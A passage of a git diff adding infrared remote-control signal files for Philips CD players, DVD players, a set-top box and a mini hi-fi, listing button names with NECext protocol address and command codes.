2E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir new file mode 100644 index 000000000..30d562e45 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: Digit_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: Digit_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: Digit_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: Digit_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: Digit_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: Digit_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: Digit_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: Digit_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: Digit_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: Digit_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: Disc +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir new file mode 100644 index 000000000..7f936d576 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir new file mode 100644 index 000000000..1693399f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 24 00 00 00 +# +name: highlight +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: wind +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: fade +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir new file mode 100644 index 000000000..beb9f02ad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 21 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 43 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 54 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 70 00 00 00 +# +name: white +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 71 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 83 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 84 00 00 00 +# +name: brackets +type: parsed +protocol: NECext +address: 27 00 00 00 +command: AF 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CB 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CC 00 00 00 +# +name: surf +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CD 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 27 00 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir new file mode 100644 index 000000000..6dcf2cdfc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: Skip_Right +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: Skip_Left +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: Repeat_AB +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: Disc_Menu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: System_Menu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir new file mode 100644 index 000000000..7f4bb08c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Off +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: First +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: RepeatA-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: T-C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir new file mode 100644 index 000000000..0ca74da49 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: Repeat_A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C7 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir new file mode 100644 index 000000000..e16ffacee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: Reverse +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: RepeatAB +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: DiskMenu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: SystemMenu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir new file mode 100644 index 000000000..5331d371b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 01 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 02 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 03 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 04 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 08 00 00 00 +# +name: TUN_UP +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 09 00 00 00 +# +name: TUN_DOWN +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 0A 00 00 00 +# +name: SNOOZE +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 0C 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 0D 00 00 00 +# +name: REP_A_B +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 13 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 14 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 16 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 17 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 18 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 19 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 1A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 1B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 1C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 1D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 1E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 1F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 40 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 41 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 42 00 00 00 +# +name: CD_FW +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 43 00 00 00 +# +name: CD_REW +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 44 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 45 00 00 00 +# +name: REP_ALL_PRG +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 46 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 47 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 48 00 00 00 +# +name: WARP +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 49 00 00 00 +# +name: KEY_SPACE +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 4A 00 00 00 +# +name: CHAIN +type: parsed +protocol: NECext +address: 86 53 00 00 +command: 4B 